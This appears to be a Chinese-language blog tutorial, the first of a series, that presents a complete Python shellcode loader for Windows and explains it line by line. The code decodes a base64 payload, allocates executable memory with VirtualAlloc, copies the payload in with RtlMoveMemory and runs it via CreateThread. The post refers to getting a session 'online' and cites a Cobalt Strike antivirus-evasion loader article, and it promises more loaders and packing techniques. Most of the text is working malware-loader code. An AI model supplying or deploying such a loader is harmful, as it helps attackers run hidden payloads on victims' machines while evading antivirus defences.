(这个系列的都是基于python3的,包括后续会发的加载器、打包等)
先放一段最基础的Shellcode加载器
import ctypes,urllib.request,codecs,base64
data = ""
shellcode = data
shellcode = base64.b64decode(shellcode)
shellcode =codecs.escape_decode(shellcode)[0]
shellcode = bytearray(shellcode)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode))
)
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
这里按行进行解析
这块就是将前面的shellcode,转为bytes类型,因为生成出来的payload为十六进制
然后在第八行中,通过bytearray来获取转为bytes类型后的shellcode
python的ctypes模块是内建,用来调用系统动态链接库函数的模块
我们需要通过VirtualAlloc来申请内存,但是在此之前需要先确认系统位数 为了在64位系统中运行,返回的类型必须跟系统位数一样
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
其中ctypes.c_uint64就是设置返回的类型为64位,如果没有这一段的话,则默认返回32位
下面是函数原型和参数
LPVOID VirtualAlloc{
LPVOID lpAddress, #要分配的内存区域的地址
DWORD dwSize, #分配的大小
DWORD flAllocationType, #分配的类型
DWORD flProtect #该内存的初始保护属性
};
然后对比第十行的写法
ctypes.windll.kernel32.VirtualAlloc(
ctypes.c_int(0), #要分配的内存区域的地址
ctypes.c_int(len(shellcode)), #分配的大小
ctypes.c_int(0x3000), #分配的类型
ctypes.c_int(0x40)) #该内存的初始保护属性
这是上文的解释,其中IpAddress为0,也就是null时,分配的地址是由系统决定的,无需用户自己指定 分配的类型(不止)
0x3000则是第一个和第二个的合并 flprotect访问类型
https://baike.baidu.com/item/VirtualAlloc/1606859?fr=aladdin
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
这条语句在执行成功后,系统会返回一个内存地址(str下面的数字为地址
接着需要利用RtlMoveMemory函数,将shellcode加载到这个内存中
RtlMoveMemory(Destination,Source,Length);
Destination :指向移动目的地址的指针。
Source :指向要复制的内存地址的指针。
Length :指定要复制的字节数。
对比一下加载器的代码
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr), #指向移动目的地址的指针。
buf, #指向要复制的内存地址的指针。
ctypes.c_int(len(shellcode)) #指定要复制的字节数。
)
buf中,利用ctypes传入一个字符串类型,然后通过RtlMoveMemory进行加载 需要注意的是,在目的地址那也是需要使用c_uint64来表示64位 .from_buffer()为加载的原文,c_char * len()用于指定数量
CreateThread函数原型和参数如下:
HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes,#线程安全属性
SIZE_T dwStackSize, #置初始栈的大小,以字节为单位
LPTHREAD_START_ROUTINE lpStartAddress, #指向线程函数的指针
LPVOID lpParameter, #向线程函数传递的参数
DWORD dwCreationFlags, #线程创建属性
LPDWORD lpThreadId #保存新线程的id
)
对比一下加载器的代码
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0), #线程安全属性
ctypes.c_int(0), #置初始栈的大小,以字节为单位
ctypes.c_uint64(ptr), #指向线程函数的指针
ctypes.c_int(0), #向线程函数传递的参数
ctypes.c_int(0), #线程创建属性
ctypes.pointer(ctypes.c_int(0)) #保存新线程的id
)
详解如下:
https://baike.baidu.com/item/CreateThread/8222652?fr=aladdin
创建完线程并激活就可以上线了,但是进程不能就这么没了,所以需要利用WaitForSingleObject检测线程状态 WaitForSingleObject函数原型和参数如下:
DWORD WINAPI WaitForSingleObject(
__in HANDLE hHandle, #对象句柄。可以指定一系列的对象
__in DWORD dwMilliseconds #定时时间间隔
);
对比一下加载器代码
ctypes.windll.kernel32.WaitForSingleObject(
ctypes.c_int(handle), #对象句柄。可以指定一系列的对象
ctypes.c_int(-1)) #定时时间间隔
定时的时间间隔为负数时,则表示无限等待的时间
内存管理-虚拟内存 https://www.cnblogs.com/Sna1lGo/p/14472260.html 系统内存使用统计 https://blog.csdn.net/weixin_43448411/article/details/106564870 cs免杀-shellcode loader加载器原理(Python) https://mp.weixin.qq.com/s?__biz=MzIwOTMzMzY0Ng==&mid=2247484538&idx=1&sn=a23fec3cad596102d30a99bad6c27b85&chksm=9774389ba003b18d5428ed6f75490b8cda7f9dcae2e9726ad42ac2d939794c103a7f561f905e&scene=21#wechat_redirect